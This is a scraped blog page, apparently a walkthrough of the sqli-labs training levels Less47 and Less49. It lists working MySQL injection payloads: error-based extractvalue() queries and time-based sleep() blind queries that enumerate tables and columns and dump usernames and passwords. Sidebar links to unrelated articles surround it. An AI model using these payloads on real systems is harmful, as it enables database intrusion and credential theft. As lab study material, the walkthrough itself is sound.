当前位置:网站首页>SQL injection Less47 (error injection) and Less49 (time blind injection)
SQL injection Less47 (error injection) and Less49 (time blind injection)
2022-07-31 02:47:00 【happy star】
Less47 and Less49 can't use rand() Boolean blind annotation
Because there are single quotes to closeorder by 'rand()'
This statement obviously cannot be executedp>
Less47
?sort=1' and extractvalue(0,concat(0x7e,database()))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
?sort=1' and extractvalue(0,concat(0x7e, (select group_concat(username,password) from users)))--+
Less49
?sort=1' and sleep(5)--+
?sort=1' and if(1,sleep(5),0)--+
?sort=1' and if(length(database())=8,sleep(5),0)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
?sort=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+
?sort=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)--+
边栏推荐
- StringJoiner详解
- 4、敏感词过滤(前缀树)
- Intel's software and hardware optimization empowers Neusoft to accelerate the arrival of the era of smart medical care
- SQL注入 Less47(报错注入) 和Less49(时间盲注)
- The use of font compression artifact font-spider
- 8. Unified exception handling (controller notifies @ControllerAdvice global configuration class, @ExceptionHandler handles exceptions uniformly)
- Crypto Firms Offer Offer To Theft Hackers: Keep A Little, Give The Rest
- Word/Excel fixed table size, when filling in the content, the table does not change with the cell content
- Inter-vlan routing + static routing + NAT (PAT + static NAT) comprehensive experiment
- Draw Your Cards
猜你喜欢
StringJoiner in detail
汉源高科8路HDMI综合多业务高清视频光端机8路HDMI视频+8路双向音频+8路485数据+8路E1+32路电话+4路千兆物理隔离网络
Hanyuan Hi-Tech 8-channel HDMI integrated multi-service high-definition video optical transceiver 8-channel HDMI video + 8-channel two-way audio + 8-channel 485 data + 8-channel E1 + 32-channel teleph
LeetCode 1161 The largest element in the layer and the LeetCode road of [BFS binary tree] HERODING
CMOS和TTL的区别?
CorelDRAW2022 streamlined Asia Pacific new features in detail
JS 函数 this上下文 运行时点语法 圆括号 数组 IIFE 定时器 延时器 self.备份上下文 call apply
Introduction to flask series 】 【 flask - using SQLAlchemy
mmdetection trains a model related command
What level of software testing does it take to get a 9K job?
随机推荐
字体压缩神器font-spider的使用
JS function this context runtime syntax parentheses array IIFE timer delay self.backup context call apply
什么是分布式锁?实现分布式锁的三种方式
Crypto Firms Offer Offer To Theft Hackers: Keep A Little, Give The Rest
YOLOV5学习笔记(三)——网络模块详解
Unity3D Button mouse hover enter and mouse hover exit button events
冒泡排序、选择排序、直接插入排序、二分法查找
BAT卖不动「医疗云」:医院逃离、山头林立、行有行规
Word/Excel fixed table size, when filling in the content, the table does not change with the cell content
Number 16, top posts
Moxa NPort device flaw could expose critical infrastructure to devastating attack
YOLOV5学习笔记(二)——环境安装+运行+训练
Android's webview cache related knowledge collection
英特尔软硬优化,赋能东软加速智慧医疗时代到来
【HCIP】ISIS
Difference between CMOS and TTL?
Draw Your Cards
Linux下redis7的安装,启动与停止
Mathematics to solve the problem - circular linked list
AI在医疗影像设备全流程应用